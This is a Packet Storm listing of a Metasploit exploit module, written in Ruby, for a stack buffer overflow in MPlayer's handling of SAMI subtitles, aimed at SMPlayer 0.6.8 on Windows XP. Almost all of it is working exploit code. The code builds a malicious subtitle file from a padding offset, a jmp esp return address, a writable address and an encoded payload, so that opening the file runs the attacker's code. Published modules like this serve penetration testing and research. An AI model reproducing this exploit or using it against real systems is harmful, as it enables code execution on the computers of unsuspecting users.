MPlayer SAMI Subtitle File Buffer Overflow

2012-05-29T00:00:00
ID PACKETSTORM:113108
Type packetstorm
Reporter juan vazquez
Modified 2012-05-29T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow found in the handling  
of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently  
targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.  
  
The overflow is triggered when an unsuspecting victim opens a movie file first,  
followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also  
be done from the console with the mplayer "-sub" option.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Jacques Louw', # Vulnerability Discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'BID', '49149' ],  
[ 'OSVDB', '74604' ],  
[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',  
{  
'Offset' => 1033,  
'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc  
'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 19 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),  
], self.class)  
end  
  
# Split the subtitle to avoid mplayer complaining  
# about the line max length  
def sami_encode(s)  
r = ""  
i = 0  
while i < s.length  
r << s[i, 32]  
r << "\n"  
i += 32  
end  
r  
end  
  
def exploit  
  
sploit = rand_text(target['Offset'])  
sploit << [target.ret].pack("V")  
sploit << "\xeb\x06" # jmp short 0x8  
sploit << rand_text(2)  
sploit << [target['WritableAddress']].pack("V")  
sploit << payload.encoded  
  
sami = "<SAMI>\n"  
sami << "<BODY>\n"  
sami << "<SYNC Start=100550>\n"  
sami << sami_encode(sploit)  
sami << "</SYNC>\n"  
sami << "</BODY>\n"  
sami << "</SAMI>\n"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sami)  
end  
  
end  
`